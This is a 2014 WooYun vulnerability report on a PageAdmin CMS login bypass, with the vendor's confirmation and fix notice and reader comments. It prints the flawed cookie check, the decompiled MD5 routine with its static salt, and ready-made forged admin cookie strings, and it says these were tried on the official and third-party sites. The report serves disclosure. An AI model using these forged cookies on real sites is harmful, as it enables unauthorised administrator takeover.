当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061861

漏洞标题:PageAdmin可绕过验证伪造任意用户身份登录(前台、后台)

相关厂商:pageadmin.net

漏洞作者: wefgod

提交时间:2014-06-30 14:20

修复时间:2014-09-28 14:22

公开时间:2014-09-28 14:22

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-30: 细节已通知厂商并且等待厂商处理中
2014-07-01: 厂商已经确认,细节仅向厂商公开
2014-07-04: 细节向第三方安全合作伙伴开放
2014-08-25: 细节向核心白帽子及相关领域专家公开
2014-09-04: 细节向普通白帽子公开
2014-09-14: 细节向实习白帽子公开
2014-09-28: 细节向公众公开

简要描述:

原来是有一个验证的,但是不小心就想到办法绕过去了

详细说明:

先大概说一下流程:
前台:
初步身份伪造-->获取某项信息-->程序计算-->伪造最终cookie登录成功
后台(特别注意!):
先成功伪造身份登录前台-->打开后台页面(注意让他重新获取cookie)-->程序计算-->利用伪造的cookie打开index
后台的必须按上面的流程走,没有登录前台的话会导致后台校验失败,有太多多余的cookie的话会导致后台登录后报错!
前台
第一步,初步身份伪造
问题代码:

text = Member_Valicate.aC7c4DsFNKxcZ9Ao2KU(Member_Valicate.KfvFKOso9G8UQWWkflb(HttpContext.Current).Cookies["Member"].Values, "UID");


直接从Member里面获取UID的值。
http://demo.pageadmin.net/e/member/index.aspx?s=1&type=mem_idx
cookie添加
Member=UID=2&Valicate=f75efb546591145c2ab152c1194ad10613df3
UID=2啥意思就不解释了,admin默认的uid是2

image049.png


添加cookie之后访问上面的链接,即可:

image050.png


测试另外一个网站:

image052.png


image053.png


本地测试:

image055.png


但是在执行部分操作的时候是提示Valicate是无效的,如下图

image057.png


再说下这个验证的代码:

b =Member_Valicate.KfvFKOso9G8UQWWkflb(HttpContext.Current).Cookies["Member"].Values["Valicate"].ToString();
this.U8VWxh9WtC = ((DateTime)oleDbDataReader["lastdate"]).ToString("yyyyMMddHHmmss");
flag = !(md.Get_Md5(this.U8VWxh9WtC) != b); //把两个货比较,很悲剧啊
if (!flag)
{
this.tfYWhhmueR();
Member_Valicate.sVS2ySs4W4iMlcmVLhA(HttpContext.Current.Response, "<script type='text/javascript'>alert('invalid verification!');location.href='" + str + "';</script>");
arg_2A4_0 = 10;
continue;
}


b是你cookie中的valicate,U8VWxh9WtC是从数据库中读取出来的lastdate(最后登录时间),如下图

image059.png


好吧,看到这里是不是觉得无解了?无法绕过?最后登录时间怎么搞啊?哈哈
第二步,获取“某项”信息
简单,仔细看登录后的页面:

image060.png


014-5-22 10:17:18
明白没?虽然我们做不了别的操作,但是关键信息已经获取到了!
第三步,该上程序了!
关键的校验md5生成代码:

public string Get_Md5(string s)
{
MD5 mD = new MD5CryptoServiceProvider();
Encoding encoding = Encoding.GetEncoding("UTF-8");
string s2 = "pageadmin cms";
byte[] array = mD.ComputeHash(encoding.GetBytes(s));
byte[] array2 = mD.ComputeHash(encoding.GetBytes(s2));
StringBuilder stringBuilder = new StringBuilder(32);
for (int i = 0; i < array.Length; i++)
{
stringBuilder.Append(((int)(array[i] + array2[i])).ToString("x").PadLeft(2, '0'));
}
return stringBuilder.ToString();
}


呵呵了吗?

image062.png


用伪造好的东西(eee开头那串),上!
最终步骤!

image064.png


呵呵了!做任何操作都没有限制!

漏洞证明:

后台
在cookie中直接添加以下字段:
tongji=1; referer=; Master=UID=2&Valicate=d7133f6117b1ccd18ae511e1971851867912516a; SiteId=1

image066.png


功访问后台!
试试官网:

image068.png


但做其它操作会还是会提示:

image070.png


原理和上面是一样的时间也是一样的具体不多说了,简单放几行代码

this.TclWJqMrlI = ((DateTime)oleDbDataReader["lastdate"]).ToString("yyyyMMddHHmmss");
string text2 = HttpContext.Current.Request.Cookies["Master"].Values["Valicate"].ToString();
flag = !Master_Valicate.e51WJWsgAgH9BDJaION(md.Get_Md5(this.TclWJqMrlI), text2);


上神器!

image072.png


tongji=1; referer=; Master=UID=2&Valicate= eee0fe3b811371209c14611a157133188fee314a; SiteId=1

image073.png


另外一个网站:

image075.png


官网demo:

image077.png


后台拿shell请看之前发布的漏洞

修复方案:

这套程序太经典了,居然可以发现那么多有代表性的漏洞……身份验证应该严格一点啊,这也太松散了

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-07-01 11:05

厂商回复:

感谢,我司会尽快修复

最新状态:

2014-05-27:由CNVD统一汇总后联系厂商处置。

2014-09-29:已经确定,国庆后将发布最版本修复所有问题。

2014-10-10:PageAdmin 2014-10-10版已经修复次问题,谢谢白帽子


漏洞评价:

评论

  1. 2014-05-22 12:47 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    .net你都给玩出花了,有啥新的给乌云图书频道写点文章吧 :)

  2. 2014-05-22 12:51 | 光刃 ( 普通白帽子 | Rank:200 漏洞数:24 | 萝卜白菜保平安)

    太牛逼了。

  3. 2014-05-22 12:53 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @光刃 洞主功力颇深,而且喜欢实践和分享

  4. 2014-05-22 13:03 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    牛逼哄哄 膜拜

  5. 2014-05-22 13:49 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大(腾讯微博Passer...)

    洞主功力颇深,而且喜欢实践和分享 +1

  6. 2014-05-22 14:14 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @疯狗 图书频道?是drops?

  7. 2014-05-22 14:15 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @Passer_by 功力很一般,能力很泛但不精。万金油,比如扛设备什么的也可以做

  8. 2014-05-22 14:55 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    @wefgod ns现在这么清闲了?

  9. 2014-05-22 15:19 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @Xhm1n9 以后没准会走人了。而且补休个一天两天没什么压力啊,命是自己的不是公司的

  10. 2014-05-22 15:43 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @wefgod 嗯 对 drops :)

  11. 2014-05-22 17:40 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)

    干哥,你敢带我么

  12. 2014-05-22 19:27 | Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)

    @wefgod @,@

  13. 2014-05-27 22:26 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @magerx 酱油。

  14. 2014-06-28 15:40 | PageAdmin(乌云厂商)

    @wefgod 请问可有把pageadmin的漏洞信息发给我一下,我现在注册为pageadmin厂商了,但是无法看到之前的信息,CNVD一直不给我们发布这些信息,到会现在无法修复漏洞

  15. 2014-06-28 16:11 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @PageAdmin 我@疯狗 过来处理下

  16. 2014-06-30 14:20 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @wefgod @PageAdmin 已经处理,请尽快确认

  17. 2014-06-30 14:54 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

    这个不是确认了吗 重新走流程吗哈哈

  18. 2014-06-30 17:08 | ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子,但是除了他华...)

    我差点以为你又找到另外的方法,只是调皮用了之前的标题跟详情..

  19. 2014-09-28 19:33 | 酷帥王子 ( 普通白帽子 | Rank:111 漏洞数:34 | 天朗日清,和风送闲,可叹那俊逸如我顾影自...)

    如果要有个视频教程就好了

  20. 2014-12-09 21:59 | GuoKer(ZhuLiu) ( 普通白帽子 | Rank:168 漏洞数:21 | 在校学生党的路过 霸气侧漏)

    @wefgod 文中的附件在哪下载啊

  21. 2014-12-10 16:41 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @GuoKer(ZhuLiu) 似乎没说文章有提供下载的附件吧?

  22. 2014-12-14 12:58 | 黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:29 | 倚楼听风雨,淡看江湖路...)

    @magerx 好像你们很熟呀